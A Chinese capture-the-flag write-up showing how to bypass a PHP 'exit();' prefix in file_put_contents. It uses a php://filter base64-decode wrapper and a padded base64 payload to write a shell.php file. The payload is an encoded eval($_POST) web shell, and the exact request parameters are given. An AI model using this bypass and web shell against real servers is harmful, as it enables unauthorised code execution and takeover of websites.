polar 写shell
file_put_contents 函数 会把**<?php exit();”.$_POST[‘content’]** 存入到 $_GET[‘filename’] 文件里
但是这里的<?php exit(); 执行时就会直接先执行exit()退出了 导致我们后面的代码无法执行
这里就需要绕过一下exit();
这里是
php死亡exit()绕过
1 | file_put_contents($filename,"<?php exit();".$content); |
tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行
base64编码绕过
1 | filename=php://filter/read/convert.base64-decode/resource=shell.php |
利用php://filter 伪协议 先将 <?php exit();”.$content 也就是 <?php exit();aPD9waHAgcGhwaW5mbygpOz8+ 内容解码后再写入 shell.php 文件中
1 | <?php phpinfo();?>`base64编码后为`PD9waHAgcGhwaW5mbygpOz8+ |
前面加个a的原因是base64解码以4个字节为1组转换为3个字节
前面的<?php exit(); 符合base64编码的只有phpexit这七个字节,因此添加一个字节来满足编码
<?php exit();a 就会被base64解密从而乱码,这样就不会被当成PHP代码执行了。
<? 空格 ; 为什么不算呢?
Base64 解码时,符号的处理方式
在 PHP 中,base64_decode()
只处理 Base64 允许的字符,即:
A-Z
a-z
0-9
+
和/
=
(填充符)
任何不在这个范围内的符号(例如空格、<
, ?
, ;
):
- 如果出现在 Base64 数据中,可能会被忽略、导致解码失败,或者返回
false
(如果strict
参数为true
)。 - 但
base64_decode()
不会把它们当作特殊字符处理,它只是单纯地按照 Base64 规则解析。
所以base解码并不会识别<? 空格 ; 也就是只有七个字节需要加一个字节来凑一下
ok 回到这道题
这里我们直接利用php://filter 伪协议 对其进行base64解码 来写入shell
?filename=php://filter/read/convert.base64-decode/resource=shell.php
post: content=aPD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
这里访问shell.php 发现也就执行成功了 �^�+Z就是前面<?php exit();a 解码成的乱码
然后再利用写入的shell解题